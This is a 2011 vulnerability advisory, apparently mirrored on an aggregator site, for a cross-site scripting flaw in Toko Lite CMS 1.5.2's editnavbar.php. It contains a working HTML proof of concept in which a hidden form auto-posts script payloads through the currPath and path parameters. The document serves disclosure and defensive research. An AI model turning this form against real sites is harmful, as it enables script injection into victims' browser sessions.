Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection

🗓️ 19 Sep 2011 00:00:00Reported by Gjoko KrsticType

zeroscience🔗 www.zeroscience.mk👁 17 Views

Toko Lite CMS 1.5.2 XSS POST Injection vulnerability in EditNavBar.ph

<!--


Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection


Vendor: Toko
Product web page: http://toko-contenteditor.pageil.net
Affected version: 1.5.2

Summary: Toko Web Content Editor cms is a compact, multi language, open
source web editor and content management system (CMS). It is advanced
easy to use yet fully featured program that can be integrated with any
existing site. It takes 2 minuets to install even for non technical users.

Desc: Toko CMS suffers from a XSS vulnerability when parsing user input
to the 'currPath' and 'path' parameters via POST method in 'editnavbar.php'.
Attackers can exploit this weakness to execute arbitrary HTML and script
code in a user's browser session.

Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2011-5047
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5047.php


22.03.2011

--><html>
<head><title>Toko Lite CMS 1.5.2 (EditNavBar.php) Multiple Parameters XSS POST Injection</title>
</head><body bgcolor="#1C1C1C">
<script type="text/javascript">
function xss(){document.forms["xss"].submit();}
</script>
<br/><br/>
<form action="http://localhost/tokolite1.5.2/editnavbar.php" enctype="application/x-www-form-urlencoded" id="xss" method="POST">
<input name="currPath" type="hidden" value='"&gt;&lt;script&gt;alert(1)&lt;/script&gt;'/>
<input name="path" type="hidden" value='"&gt;&lt;script&gt;alert(2)&lt;/script&gt;'/>
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"></font></b><center><h3>Exploit!</h3></center></a><br/><br/>
</body></html>

19 Sep 2011 00:00Current

6.1Medium risk

Vulners AI Score6.1